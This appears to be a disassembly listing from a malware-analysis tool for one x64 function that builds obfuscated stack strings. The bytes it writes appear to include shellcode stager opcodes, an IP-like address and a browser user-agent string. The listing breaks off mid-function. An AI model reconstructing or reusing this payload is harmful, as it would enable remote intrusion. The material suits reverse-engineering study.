Function at 0x140001070
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x11d0]
mov eax, 0x12d0
call fcn.140005110
sub rsp, rax
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0x11c8], rax
xor eax, eax
mov word [rbp + 0x10f0], 0xb168
mov dword [rbp + 0x10f2], eax
xor r12d, r12d
mov word [rbp + 0x10f6], ax
mov dword [rsp + 0x43], eax
mov byte [rsp + 0x47], al
lea rax, [rbp + 0x10f0]
mov qword [rsp + 0x48], rax
xor eax, eax
mov dword [rsp + 0x53], eax
mov byte [rsp + 0x57], al
lea rax, [rsp + 0x40]
mov qword [rsp + 0x58], rax
xor eax, eax
mov dword [rsp + 0x63], eax
mov byte [rsp + 0x67], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0x68], rax
xor eax, eax
mov dword [rsp + 0x73], eax
mov byte [rsp + 0x77], al
lea rax, [rsp + 0x60]
mov qword [rsp + 0x78], rax
xor eax, eax
mov dword [rbp - 0x7d], eax
mov byte [rbp - 0x79], al
lea rax, [rsp + 0x70]
mov qword [rbp - 0x78], rax
xor eax, eax
mov dword [rbp - 0x6d], eax
mov byte [rbp - 0x69], al
lea rax, [rbp - 0x80]
mov qword [rbp - 0x68], rax
xor eax, eax
mov dword [rbp - 0x5d], eax
mov byte [rbp - 0x59], al
lea rax, [rbp - 0x70]
mov qword [rbp - 0x58], rax
xor eax, eax
mov dword [rbp - 0x4d], eax
mov byte [rbp - 0x49], al
lea rax, [rbp - 0x60]
mov qword [rbp - 0x48], rax
xor eax, eax
mov dword [rbp + 0x1102], eax
mov word [rbp + 0x1106], ax
lea rax, [rbp - 0x50]
mov qword [rbp + 0x1108], rax
xor eax, eax
mov dword [rbp + 0x1112], eax
mov word [rbp + 0x1116], ax
lea rax, [rbp + 0x1100]
mov qword [rbp + 0x1118], rax
xor eax, eax
mov dword [rbp - 0x3d], eax
mov byte [rbp - 0x39], al
lea rax, [rbp + 0x1110]
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x10f8], r12
mov word [rsp + 0x40], 0x3a00
mov byte [rsp + 0x42], 0xde
mov word [rsp + 0x50], 0x3331
mov byte [rsp + 0x52], 0x35
mov word [rsp + 0x60], 0x3138
mov byte [rsp + 0x62], 0x2e
mov word [rsp + 0x70], 0x3836
mov byte [rsp + 0x72], 0x2e
mov word [rbp - 0x80], 0x2e32
mov byte [rbp - 0x7e], 0x31
mov word [rbp - 0x70], 0x31ff
mov byte [rbp - 0x6e], 0x39
mov word [rbp - 0x60], 0xfd9f
mov byte [rbp - 0x5e], 0xff
mov word [rbp - 0x50], 0xc350
mov byte [rbp - 0x4e], 0xe8
mov word [rbp + 0x1100], r12w
mov word [rbp + 0x1110], 0x548
mov word [rbp - 0x40], 0x5858
mov byte [rbp - 0x3e], 0x58
mov word [rbp - 0x30], 0x75c0
xor eax, eax
mov byte [rbp - 0x2e], 0xd7
mov dword [rbp - 0x2d], eax
mov byte [rbp - 0x29], al
lea rax, [rbp - 0x40]
mov qword [rbp - 0x28], rax
xor eax, eax
mov dword [rbp - 0x1d], eax
mov byte [rbp - 0x19], al
lea rax, [rbp - 0x30]
mov qword [rbp - 0x18], rax
xor eax, eax
mov dword [rbp - 0xd], eax
mov byte [rbp - 9], al
lea rax, [rbp - 0x20]
mov qword [rbp - 8], rax
xor eax, eax
mov dword [rbp + 3], eax
mov byte [rbp + 7], al
lea rax, [rbp - 0x10]
mov qword [rbp + 8], rax
xor eax, eax
mov dword [rbp + 0x13], eax
mov byte [rbp + 0x17], al
lea rax, [rbp]
mov qword [rbp + 0x18], rax
xor eax, eax
mov dword [rbp + 0x23], eax
mov byte [rbp + 0x27], al
lea rax, [rbp + 0x10]
mov qword [rbp + 0x28], rax
xor eax, eax
mov dword [rbp + 0x33], eax
mov byte [rbp + 0x37], al
lea rax, [rbp + 0x20]
mov qword [rbp + 0x38], rax
xor eax, eax
mov dword [rbp + 0x43], eax
mov byte [rbp + 0x47], al
lea rax, [rbp + 0x30]
mov qword [rbp + 0x48], rax
xor eax, eax
mov dword [rbp + 0x53], eax
mov byte [rbp + 0x57], al
lea rax, [rbp + 0x40]
mov qword [rbp + 0x58], rax
xor eax, eax
mov dword [rbp + 0x63], eax
mov byte [rbp + 0x67], al
lea rax, [rbp + 0x50]
mov qword [rbp + 0x68], rax
xor eax, eax
mov dword [rbp + 0x1122], eax
mov word [rbp + 0x1126], ax
lea rax, [rbp + 0x60]
mov qword [rbp + 0x1128], rax
xor eax, eax
mov dword [rbp + 0x73], eax
mov byte [rbp + 0x77], al
lea rax, [rbp + 0x1120]
mov word [rbp - 0x20], 0xc301
mov byte [rbp - 0x1e], 0x85
mov word [rbp - 0x10], 0x78b
mov byte [rbp - 0xe], 0x48
mov word [rbp], 0xb674
mov byte [rbp + 2], 0x66
mov word [rbp + 0x10], 0x8520
mov byte [rbp + 0x12], 0xc0
mov word [rbp + 0x20], 0x8348
mov byte [rbp + 0x22], 0xc4
mov word [rbp + 0x30], 0xffe2
mov byte [rbp + 0x32], 0xd5
mov word [rbp + 0x40], 0x9612
mov byte [rbp + 0x42], 0x89
mov word [rbp + 0x50], 0x41f9
mov byte [rbp + 0x52], 0xba
mov word [rbp + 0x60], 0x4900
mov byte [rbp + 0x62], 0x89
mov word [rbp + 0x1120], 0x2000
mov word [rbp + 0x70], 0x41da
mov byte [rbp + 0x72], 0xb8
mov qword [rbp + 0x78], rax
xor eax, eax
mov dword [rbp + 0x83], eax
mov byte [rbp + 0x87], al
lea rax, [rbp + 0x70]
mov qword [rbp + 0x88], rax
xor eax, eax
mov dword [rbp + 0x93], eax
mov byte [rbp + 0x97], al
lea rax, [rbp + 0x80]
mov qword [rbp + 0x98], rax
xor eax, eax
mov dword [rbp + 0xa3], eax
mov byte [rbp + 0xa7], al
lea rax, [rbp + 0x90]
mov qword [rbp + 0xa8], rax
xor eax, eax
mov dword [rbp + 0xb3], eax
mov byte [rbp + 0xb7], al
lea rax, [rbp + 0xa0]
mov qword [rbp + 0xb8], rax
xor eax, eax
mov dword [rbp + 0xc3], eax
mov byte [rbp + 0xc7], al
lea rax, [rbp + 0xb0]
mov qword [rbp + 0xc8], rax
xor eax, eax
mov dword [rbp + 0xd3], eax
mov byte [rbp + 0xd7], al
lea rax, [rbp + 0xc0]
mov qword [rbp + 0xd8], rax
xor eax, eax
mov dword [rbp + 0xe3], eax
mov byte [rbp + 0xe7], al
lea rax, [rbp + 0xd0]
mov qword [rbp + 0xe8], rax
xor eax, eax
mov dword [rbp + 0xf3], eax
mov byte [rbp + 0xf7], al
lea rax, [rbp + 0xe0]
mov qword [rbp + 0xf8], rax
xor eax, eax
mov dword [rbp + 0x103], eax
mov byte [rbp + 0x107], al
lea rax, [rbp + 0xf0]
mov qword [rbp + 0x108], rax
xor eax, eax
mov dword [rbp + 0x1132], eax
mov word [rbp + 0x1136], ax
lea rax, [rbp + 0x100]
mov qword [rbp + 0x1138], rax
xor eax, eax
mov dword [rbp + 0x113], eax
mov byte [rbp + 0x117], al
lea rax, [rbp + 0x1130]
mov qword [rbp + 0x118], rax
xor eax, eax
mov dword [rbp + 0x123], eax
mov word [rbp + 0x80], 0x48f1
mov byte [rbp + 0x82], 0x89
mov word [rbp + 0x90], 0x48e7
mov byte [rbp + 0x92], 0x89
mov word [rbp + 0xa0], 0x4853
mov byte [rbp + 0xa2], 0x89
mov word [rbp + 0xb0], 0x9348
mov byte [rbp + 0xb2], 0x53
mov word [rbp + 0xc0], 0xffe5
mov byte [rbp + 0xc2], 0xd5
mov word [rbp + 0xd0], 0xa458
mov byte [rbp + 0xd2], 0x53
mov word [rbp + 0xe0], 0x4100
mov byte [rbp + 0xe2], 0xba
mov word [rbp + 0xf0], 0x40
mov byte [rbp + 0xf2], r12b
mov word [rbp + 0x100], 0x4100
mov byte [rbp + 0x102], 0xb9
mov word [rbp + 0x1130], 0x1000
mov word [rbp + 0x110], 0x4100
mov byte [rbp + 0x112], 0xb8
mov word [rbp + 0x120], r12w
mov byte [rbp + 0x122], 0x40
mov byte [rbp + 0x127], al
lea rax, [rbp + 0x110]
mov qword [rbp + 0x128], rax
xor eax, eax
mov dword [rbp + 0x133], eax
mov byte [rbp + 0x137], al
lea rax, [rbp + 0x120]
mov qword [rbp + 0x138], rax
xor eax, eax
mov dword [rbp + 0x143], eax
mov byte [rbp + 0x147], al
lea rax, [rbp + 0x130]
mov qword [rbp + 0x148], rax
xor eax, eax
mov dword [rbp + 0x153], eax
mov byte [rbp + 0x157], al
lea rax, [rbp + 0x140]
mov qword [rbp + 0x158], rax
xor eax, eax
mov dword [rbp + 0x163], eax
mov byte [rbp + 0x167], al
lea rax, [rbp + 0x150]
mov qword [rbp + 0x168], rax
xor eax, eax
mov dword [rbp + 0x1142], eax
mov word [rbp + 0x1146], ax
lea rax, [rbp + 0x160]
mov qword [rbp + 0x1148], rax
xor eax, eax
mov dword [rsp + 0x33], eax
mov byte [rsp + 0x37], al
lea rax, [rbp + 0x1140]
mov qword [rsp + 0x38], rax
xor eax, eax
mov dword [rbp + 0x183], eax
mov byte [rbp + 0x187], al
lea rax, [rsp + 0x30]
mov qword [rbp + 0x188], rax
xor eax, eax
mov dword [rbp + 0x193], eax
mov byte [rbp + 0x197], al
lea rax, [rbp + 0x180]
mov qword [rbp + 0x198], rax
xor eax, eax
mov dword [rbp + 0x1a3], eax
mov byte [rbp + 0x1a7], al
lea rax, [rbp + 0x190]
mov qword [rbp + 0x1a8], rax
xor eax, eax
mov dword [rbp + 0x1b3], eax
mov byte [rbp + 0x1b7], al
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x1b8], rax
xor eax, eax
mov dword [rbp + 0x1c3], eax
mov byte [rbp + 0x1c7], al
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x1c8], rax
mov word [rbp + 0x130], 0xc931
mov byte [rbp + 0x132], 0xba
mov word [rbp + 0x140], 0xd5ff
mov byte [rbp + 0x142], 0x48
mov word [rbp + 0x150], 0xa2b5
mov byte [rbp + 0x152], 0x56
mov word [rbp + 0x160], 0xbe41
mov byte [rbp + 0x162], pe_nt_image_headers64
mov word [rbp + 0x1140], 0x624d
mov word [rsp + 0x30], 0xec9d
mov byte [rsp + 0x32], 0x2d
mov word [rbp + 0x180], 0xe474
mov byte [rbp + 0x182], 0xdd
mov word [rbp + 0x190], 0xa6e9
mov byte [rbp + 0x192], 0xef
mov word [rbp + 0x1a0], 0xf629
mov byte [rbp + 0x1a2], 0xa5
mov word [rbp + 0x1b0], 0x2b76
mov byte [rbp + 0x1b2], 0x3a
mov word [rbp + 0x1c0], 0x78df
mov byte [rbp + 0x1c2], 0x6c
mov word [rbp + 0x1d0], 0xe34c
mov byte [rbp + 0x1d2], 0x50
xor eax, eax
mov word [rbp + 0x1e0], 0x77fb
mov dword [rbp + 0x1d3], eax
mov byte [rbp + 0x1d7], al
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x1d8], rax
xor eax, eax
mov dword [rbp + 0x1e3], eax
mov byte [rbp + 0x1e7], al
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x1e8], rax
xor eax, eax
mov dword [rbp + 0x1f3], eax
mov byte [rbp + 0x1f7], al
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x1f8], rax
xor eax, eax
mov dword [rbp + 0x203], eax
mov byte [rbp + 0x207], al
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x208], rax
xor eax, eax
mov dword [rbp + 0x213], eax
mov byte [rbp + 0x217], al
lea rax, [rbp + 0x200]
mov qword [rbp + 0x218], rax
xor eax, eax
mov dword [rbp + 0x223], eax
mov byte [rbp + 0x227], al
lea rax, [rbp + 0x210]
mov qword [rbp + 0x228], rax
xor eax, eax
mov dword [rbp + 0x233], eax
mov byte [rbp + 0x237], al
lea rax, [rbp + 0x220]
mov qword [rbp + 0x238], rax
xor eax, eax
mov dword [rbp + 0x243], eax
mov byte [rbp + 0x247], al
lea rax, [rbp + 0x230]
mov qword [rbp + 0x248], rax
xor eax, eax
mov dword [rbp + 0x253], eax
mov byte [rbp + 0x257], al
lea rax, [rbp + 0x240]
mov qword [rbp + 0x258], rax
xor eax, eax
mov dword [rbp + 0x263], eax
mov byte [rbp + 0x267], al
lea rax, [rbp + 0x250]
mov qword [rbp + 0x268], rax
xor eax, eax
mov dword [rbp + 0x273], eax
mov byte [rbp + 0x277], al
lea rax, [rbp + 0x260]
mov qword [rbp + 0x278], rax
xor eax, eax
mov dword [rbp + 0x283], eax
mov byte [rbp + 0x287], al
lea rax, [rbp + 0x270]
mov byte [rbp + 0x1e2], 0xd2
mov word [rbp + 0x1f0], 0x3aa
mov byte [rbp + 0x1f2], 4
mov word [rbp + 0x200], 0xad9b
mov byte [rbp + 0x202], 0x28
mov word [rbp + 0x210], 0xa03e
mov byte [rbp + 0x212], 0x67
mov word [rbp + 0x220], 0x62d6
mov byte [rbp + 0x222], 0xe1
mov word [rbp + 0x230], 0x367c
mov byte [rbp + 0x232], 0x46
mov word [rbp + 0x240], 0x22b5
mov byte [rbp + 0x242], 0x52
mov word [rbp + 0x250], 0x5090
mov byte [rbp + 0x252], 0x1b
mov word [rbp + 0x260], 0xedf9
mov byte [rbp + 0x262], 0x79
mov word [rbp + 0x270], 0xfd87
mov byte [rbp + 0x272], 0x1a
mov word [rbp + 0x280], 0xdcd1
mov byte [rbp + 0x282], 0xcd
mov qword [rbp + 0x288], rax
xor eax, eax
mov dword [rbp + 0x293], eax
mov byte [rbp + 0x297], al
lea rax, [rbp + 0x280]
mov qword [rbp + 0x298], rax
xor eax, eax
mov dword [rbp + 0x2a3], eax
mov byte [rbp + 0x2a7], al
lea rax, [rbp + 0x290]
mov qword [rbp + 0x2a8], rax
xor eax, eax
mov dword [rbp + 0x2b3], eax
mov byte [rbp + 0x2b7], al
lea rax, [rbp + 0x2a0]
mov qword [rbp + 0x2b8], rax
xor eax, eax
mov dword [rbp + 0x2c3], eax
mov byte [rbp + 0x2c7], al
lea rax, [rbp + 0x2b0]
mov qword [rbp + 0x2c8], rax
xor eax, eax
mov dword [rbp + 0x2d3], eax
mov byte [rbp + 0x2d7], al
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0x2d8], rax
xor eax, eax
mov dword [rbp + 0x2e3], eax
mov byte [rbp + 0x2e7], al
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x2e8], rax
xor eax, eax
mov dword [rbp + 0x2f3], eax
mov byte [rbp + 0x2f7], al
lea rax, [rbp + 0x2e0]
mov qword [rbp + 0x2f8], rax
xor eax, eax
mov dword [rbp + 0x303], eax
mov byte [rbp + 0x307], al
lea rax, [rbp + 0x2f0]
mov qword [rbp + 0x308], rax
xor eax, eax
mov dword [rbp + 0x313], eax
mov byte [rbp + 0x317], al
lea rax, [rbp + 0x300]
mov qword [rbp + 0x318], rax
xor eax, eax
mov dword [rbp + 0x323], eax
mov byte [rbp + 0x327], al
lea rax, [rbp + 0x310]
mov qword [rbp + 0x328], rax
xor eax, eax
mov dword [rbp + 0x1152], eax
mov word [rbp + 0x1156], ax
lea rax, [rbp + 0x320]
mov qword [rbp + 0x1158], rax
xor eax, eax
mov dword [rbp + 0x333], eax
mov word [rbp + 0x290], 0x903f
mov byte [rbp + 0x292], 0xf3
mov word [rbp + 0x2a0], 0xc940
mov byte [rbp + 0x2a2], 0x4d
mov word [rbp + 0x2b0], 0xb8c0
mov byte [rbp + 0x2b2], 0x49
mov word [rbp + 0x2c0], 0x1526
mov byte [rbp + 0x2c2], 0xe3
mov word [rbp + 0x2d0], 0x484d
mov byte [rbp + 0x2d2], 0xb8
mov word [rbp + 0x2e0], 0xfd43
mov byte [rbp + 0x2e2], 0x7e
mov word [rbp + 0x2f0], 0xfd9
mov byte [rbp + 0x2f2], 0xfc
mov word [rbp + 0x300], 0x659b
mov byte [rbp + 0x302], 0xb2
mov word [rbp + 0x310], 0xdb24
mov byte [rbp + 0x312], 0x57
mov word [rbp + 0x320], 0xd3e5
mov byte [rbp + 0x322], 0x78
mov word [rbp + 0x1150], 0x95e5
mov word [rbp + 0x330], 0xc875
mov byte [rbp + 0x332], 0x46
mov byte [rbp + 0x337], al
lea rax, [rbp + 0x1150]
mov qword [rbp + 0x338], rax
xor eax, eax
mov dword [rbp + 0x343], eax
mov byte [rbp + 0x347], al
lea rax, [rbp + 0x330]
mov qword [rbp + 0x348], rax
xor eax, eax
mov dword [rbp + 0x353], eax
mov byte [rbp + 0x357], al
lea rax, [rbp + 0x340]
mov qword [rbp + 0x358], rax
xor eax, eax
mov dword [rbp + 0x363], eax
mov byte [rbp + 0x367], al
lea rax, [rbp + 0x350]
mov qword [rbp + 0x368], rax
xor eax, eax
mov dword [rbp + 0x373], eax
mov byte [rbp + 0x377], al
lea rax, [rbp + 0x360]
mov qword [rbp + 0x378], rax
xor eax, eax
mov dword [rbp + 0x383], eax
mov byte [rbp + 0x387], al
lea rax, [rbp + 0x370]
mov qword [rbp + 0x388], rax
xor eax, eax
mov dword [rbp + 0x393], eax
mov byte [rbp + 0x397], al
lea rax, [rbp + 0x380]
mov qword [rbp + 0x398], rax
xor eax, eax
mov dword [rbp + 0x3a3], eax
mov byte [rbp + 0x3a7], al
lea rax, [rbp + 0x390]
mov qword [rbp + 0x3a8], rax
xor eax, eax
mov dword [rbp + 0x3b3], eax
mov byte [rbp + 0x3b7], al
lea rax, [rbp + 0x3a0]
mov qword [rbp + 0x3b8], rax
xor eax, eax
mov dword [rbp + 0x173], eax
mov byte [rbp + 0x177], al
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0x178], rax
xor eax, eax
mov dword [rbp + 0x3d3], eax
mov byte [rbp + 0x3d7], al
lea rax, [rbp + 0x170]
mov qword [rbp + 0x3d8], rax
xor eax, eax
mov dword [rbp + 0x3e3], eax
mov byte [rbp + 0x3e7], al
lea rax, [rbp + 0x3d0]
mov qword [rbp + 0x3e8], rax
mov word [rbp + 0x340], 0xe829
mov byte [rbp + 0x342], 0x3c
mov word [rbp + 0x350], 0x18bb
mov byte [rbp + 0x352], 0xd6
mov word [rbp + 0x360], 0x8246
mov byte [rbp + 0x362], 0x5c
mov word [rbp + 0x370], 0xbde3
mov byte [rbp + 0x372], 0x4d
mov word [rbp + 0x380], 0x46ca
mov byte [rbp + 0x382], 0x42
mov word [rbp + 0x390], 0xd1ca
mov byte [rbp + 0x392], 0x72
mov word [rbp + 0x3a0], 0xb965
mov byte [rbp + 0x3a2], 0x6c
mov word [rbp + 0x3b0], 0x57fb
mov byte [rbp + 0x3b2], 0x5b
mov word [rbp + 0x170], 0x528b
mov byte [rbp + 0x172], 0x10
mov word [rbp + 0x3d0], 0xae32
mov byte [rbp + 0x3d2], 0x57
mov word [rbp + 0x3e0], 0xce3a
mov byte [rbp + 0x3e2], 0xf
mov word [rbp + 0x3f0], 0x2f3b
xor eax, eax
mov byte [rbp + 0x3f2], 0x98
mov dword [rbp + 0x3f3], eax
mov byte [rbp + 0x3f7], al
lea rax, [rbp + 0x3e0]
mov qword [rbp + 0x3f8], rax
xor eax, eax
mov dword [rbp + 0x403], eax
mov byte [rbp + 0x407], al
lea rax, [rbp + 0x3f0]
mov qword [rbp + 0x408], rax
xor eax, eax
mov dword [rbp + 0x413], eax
mov byte [rbp + 0x417], al
lea rax, [rbp + 0x400]
mov qword [rbp + 0x418], rax
xor eax, eax
mov dword [rbp + 0x423], eax
mov byte [rbp + 0x427], al
lea rax, [rbp + 0x410]
mov qword [rbp + 0x428], rax
xor eax, eax
mov dword [rbp + 0x433], eax
mov byte [rbp + 0x437], al
lea rax, [rbp + 0x420]
mov qword [rbp + 0x438], rax
xor eax, eax
mov dword [rbp + 0x443], eax
mov byte [rbp + 0x447], al
lea rax, [rbp + 0x430]
mov qword [rbp + 0x448], rax
xor eax, eax
mov dword [rbp + 0x453], eax
mov byte [rbp + 0x457], al
lea rax, [rbp + 0x440]
mov qword [rbp + 0x458], rax
xor eax, eax
mov dword [rbp + 0x463], eax
mov byte [rbp + 0x467], al
lea rax, [rbp + 0x450]
mov qword [rbp + 0x468], rax
xor eax, eax
mov dword [rbp + 0x473], eax
mov byte [rbp + 0x477], al
lea rax, [rbp + 0x460]
mov qword [rbp + 0x478], rax
xor eax, eax
mov dword [rbp + 0x483], eax
mov byte [rbp + 0x487], al
lea rax, [rbp + 0x470]
mov qword [rbp + 0x488], rax
xor eax, eax
mov dword [rbp + 0x493], eax
mov byte [rbp + 0x497], al
lea rax, [rbp + 0x480]
mov qword [rbp + 0x498], rax
xor eax, eax
mov dword [rbp + 0x4a3], eax
mov byte [rbp + 0x4a7], al
mov word [rbp + 0x400], 0x62a6
mov byte [rbp + 0x402], 0x8e
mov word [rbp + 0x410], 0x4f3f
mov byte [rbp + 0x412], 0xa6
mov word [rbp + 0x420], 0x3ab7
mov byte [rbp + 0x422], 0x27
mov word [rbp + 0x430], 0xec20
mov byte [rbp + 0x432], 0x52
mov word [rbp + 0x440], 0x5a83
mov byte [rbp + 0x442], 0xa1
mov word [rbp + 0x450], 0xb8d2
mov byte [rbp + 0x452], 0x1c
mov word [rbp + 0x460], 0x1959
mov byte [rbp + 0x462], 0xf6
mov word [rbp + 0x470], 0x46ec
mov byte [rbp + 0x472], 0x97
mov word [rbp + 0x480], 0x4fd6
mov byte [rbp + 0x482], 0x1a
mov word [rbp + 0x490], 0x163a
mov byte [rbp + 0x492], 0xdb
mov word [rbp + 0x4a0], 0x5716
mov byte [rbp + 0x4a2], 0xf6
lea rax, [rbp + 0x490]
mov word [rbp + 0x4b0], 0x2253
mov qword [rbp + 0x4a8], rax
xor eax, eax
mov dword [rbp + 0x4b3], eax
mov byte [rbp + 0x4b7], al
lea rax, [rbp + 0x4a0]
mov qword [rbp + 0x4b8], rax
xor eax, eax
mov dword [rbp + 0x4c3], eax
mov byte [rbp + 0x4c7], al
lea rax, [rbp + 0x4b0]
mov qword [rbp + 0x4c8], rax
xor eax, eax
mov dword [rbp + 0x4d3], eax
mov byte [rbp + 0x4d7], al
lea rax, [rbp + 0x4c0]
mov qword [rbp + 0x4d8], rax
xor eax, eax
mov dword [rbp + 0x4e3], eax
mov byte [rbp + 0x4e7], al
lea rax, [rbp + 0x4d0]
mov qword [rbp + 0x4e8], rax
xor eax, eax
mov dword [rbp + 0x4f3], eax
mov byte [rbp + 0x4f7], al
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0x4f8], rax
xor eax, eax
mov dword [rbp + 0x503], eax
mov byte [rbp + 0x507], al
lea rax, [rbp + 0x4f0]
mov qword [rbp + 0x508], rax
xor eax, eax
mov dword [rbp + 0x513], eax
mov byte [rbp + 0x517], al
lea rax, [rbp + 0x500]
mov qword [rbp + 0x518], rax
xor eax, eax
mov dword [rbp + 0x523], eax
mov byte [rbp + 0x527], al
lea rax, [rbp + 0x510]
mov qword [rbp + 0x528], rax
xor eax, eax
mov dword [rbp + 0x533], eax
mov byte [rbp + 0x537], al
lea rax, [rbp + 0x520]
mov qword [rbp + 0x538], rax
xor eax, eax
mov dword [rbp + 0x543], eax
mov byte [rbp + 0x547], al
lea rax, [rbp + 0x530]
mov qword [rbp + 0x548], rax
xor eax, eax
mov dword [rbp + 0x553], eax
mov byte [rbp + 0x557], al
lea rax, [rbp + 0x540]
mov qword [rbp + 0x558], rax
mov byte [rbp + 0x4b2], 0xed
mov word [rbp + 0x4c0], 0x6655
mov byte [rbp + 0x4c2], 0xd1
mov word [rbp + 0x4d0], 0x4821
mov byte [rbp + 0x4d2], 0xa2
mov word [rbp + 0x4e0], 0x4d7d
mov byte [rbp + 0x4e2], 0xd6
mov word [rbp + 0x4f0], 0xbf3b
mov byte [rbp + 0x4f2], 0xb0
mov word [rbp + 0x500], 0x2eec
mov byte [rbp + 0x502], 0x48
mov word [rbp + 0x510], 0x4be
mov byte [rbp + 0x512], 0x25
mov word [rbp + 0x520], 0x5382
mov byte [rbp + 0x522], 0x99
mov word [rbp + 0x530], 0x253f
mov byte [rbp + 0x532], pe_nt_image_headers64
mov word [rbp + 0x540], 0x6b2e
mov byte [rbp + 0x542], 0xd9
mov word [rbp + 0x550], 0xe4be
mov byte [rbp + 0x552], 0xab
mov word [rbp + 0x560], 0x92b5
mov byte [rbp + 0x562], 0x8f
xor eax, eax
mov word [rbp + 0x570], 0x3539
mov dword [rbp + 0x563], eax
mov byte [rbp + 0x567], al
lea rax, [rbp + 0x550]
mov qword [rbp + 0x568], rax
xor eax, eax
mov dword [rbp + 0x573], eax
mov byte [rbp + 0x577], al
lea rax, [rbp + 0x560]
mov qword [rbp + 0x578], rax
xor eax, eax
mov dword [rbp + 0x583], eax
mov byte [rbp + 0x587], al
lea rax, [rbp + 0x570]
mov qword [rbp + 0x588], rax
xor eax, eax
mov dword [rbp + 0x593], eax
mov byte [rbp + 0x597], al
lea rax, [rbp + 0x580]
mov qword [rbp + 0x598], rax
xor eax, eax
mov dword [rbp + 0x5a3], eax
mov byte [rbp + 0x5a7], al
lea rax, [rbp + 0x590]
mov qword [rbp + 0x5a8], rax
xor eax, eax
mov dword [rbp + 0x1162], eax
mov word [rbp + 0x1166], ax
lea rax, [rbp + 0x5a0]
mov qword [rbp + 0x1168], rax
xor eax, eax
mov dword [rbp + 0x5b3], eax
mov byte [rbp + 0x5b7], al
lea rax, [rbp + 0x1160]
mov qword [rbp + 0x5b8], rax
xor eax, eax
mov dword [rbp + 0x5c3], eax
mov byte [rbp + 0x5c7], al
lea rax, [rbp + 0x5b0]
mov qword [rbp + 0x5c8], rax
xor eax, eax
mov dword [rbp + 0x5d3], eax
mov byte [rbp + 0x5d7], al
lea rax, [rbp + 0x5c0]
mov qword [rbp + 0x5d8], rax
xor eax, eax
mov dword [rbp + 0x5e3], eax
mov byte [rbp + 0x5e7], al
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0x5e8], rax
xor eax, eax
mov dword [rbp + 0x5f3], eax
mov byte [rbp + 0x5f7], al
lea rax, [rbp + 0x5e0]
mov qword [rbp + 0x5f8], rax
xor eax, eax
mov dword [rbp + 0x603], eax
mov byte [rbp + 0x607], al
lea rax, [rbp + 0x5f0]
mov qword [rbp + 0x608], rax
mov byte [rbp + 0x572], 0x38
mov word [rbp + 0x580], 0x2650
mov byte [rbp + 0x582], 0xb9
mov word [rbp + 0x590], 0x4c9e
mov byte [rbp + 0x592], 0xc3
mov word [rbp + 0x5a0], 0xa856
mov byte [rbp + 0x5a2], 0x6a
mov word [rbp + 0x1160], 0xa0d
mov word [rbp + 0x5b0], 0x534a
mov byte [rbp + 0x5b2], 0x29
mov word [rbp + 0x5c0], 0x4141
mov byte [rbp + 0x5c2], 0x52
mov word [rbp + 0x5d0], 0x203b
mov byte [rbp + 0x5d2], 0x4d
mov word [rbp + 0x5e0], 0x2e36
mov byte [rbp + 0x5e2], 0x30
mov word [rbp + 0x5f0], 0x746e
mov byte [rbp + 0x5f2], 0x2f
mov word [rbp + 0x600], 0x6469
mov byte [rbp + 0x602], 0x65
xor eax, eax
mov word [rbp + 0x610], 0x5420
mov dword [rbp + 0x613], eax
mov byte [rbp + 0x617], al
lea rax, [rbp + 0x600]
mov qword [rbp + 0x618], rax
xor eax, eax
mov dword [rbp + 0x623], eax
mov byte [rbp + 0x627], al
lea rax, [rbp + 0x610]
mov qword [rbp + 0x628], rax
xor eax, eax
mov dword [rbp + 0x633], eax
mov byte [rbp + 0x637], al
lea rax, [rbp + 0x620]
mov qword [rbp + 0x638], rax
xor eax, eax
mov dword [rbp + 0x643], eax
mov byte [rbp + 0x647], al
lea rax, [rbp + 0x630]
mov qword [rbp + 0x648], rax
xor eax, eax
mov dword [rbp + 0x653], eax
mov byte [rbp + 0x657], al
lea rax, [rbp + 0x640]
mov qword [rbp + 0x658], rax
xor eax, eax
mov dword [rbp + 0x663], eax
mov byte [rbp + 0x667], al
lea rax, [rbp + 0x650]
mov qword [rbp + 0x668], rax
xor eax, eax
mov dword [rbp + 0x673], eax
mov byte [rbp + 0x677], al
lea rax, [rbp + 0x660]
mov qword [rbp + 0x678], rax
xor eax, eax
mov dword [rbp + 0x683], eax
mov byte [rbp + 0x687], al
lea rax, [rbp + 0x670]
mov qword [rbp + 0x688], rax
xor eax, eax
mov dword [rbp + 0x693], eax
mov byte [rbp + 0x697], al
lea rax, [rbp + 0x680]
mov qword [rbp + 0x698], rax
xor eax, eax
mov dword [rbp + 0x6a3], eax
mov byte [rbp + 0x6a7], al
lea rax, [rbp + 0x690]
mov qword [rbp + 0x6a8], rax
xor eax, eax
mov dword [rbp + 0x6b3], eax
mov byte [rbp + 0x6b7], al
lea rax, [rbp + 0x6a0]
mov qword [rbp + 0x6b8], rax
xor eax, eax
mov dword [rbp + 0x6c3], eax
mov byte [rbp + 0x612], 0x72
mov word [rbp + 0x620], 0x3436
mov byte [rbp + 0x622], 0x3b
mov word [rbp + 0x630], 0x4f57
mov byte [rbp + 0x632], 0x57
mov word [rbp + 0x640], 0x3b32
mov byte [rbp + 0x642], 0x20
mov word [rbp + 0x650], 0x3620
mov byte [rbp + 0x652], 0x2e
mov word [rbp + 0x660], 0x4e20
mov byte [rbp + 0x662], 0x54
mov word [rbp + 0x670], 0x776f
mov byte [rbp + 0x672], 0x73
mov word [rbp + 0x680], 0x6e69
mov byte [rbp + 0x682], 0x64
mov word [rbp + 0x690], 0x203b
mov byte [rbp + 0x692], 0x57
mov word [rbp + 0x6a0], 0x2e30
mov byte [rbp + 0x6a2], 0x30
mov word [rbp + 0x6b0], 0x2045
mov byte [rbp + 0x6b2], 0x31
